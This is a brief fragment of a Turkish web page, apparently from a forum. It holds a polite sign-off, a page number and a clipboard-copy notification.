    Görüşmek dileğiyle kolay gelsin.İyi çalışmalar.
  • 
Sayfa: 1
- x
Bildirim
mesajınız kopyalandı (ctrl+v) yapıştırmak istediğiniz yere yapıştırabilirsiniz.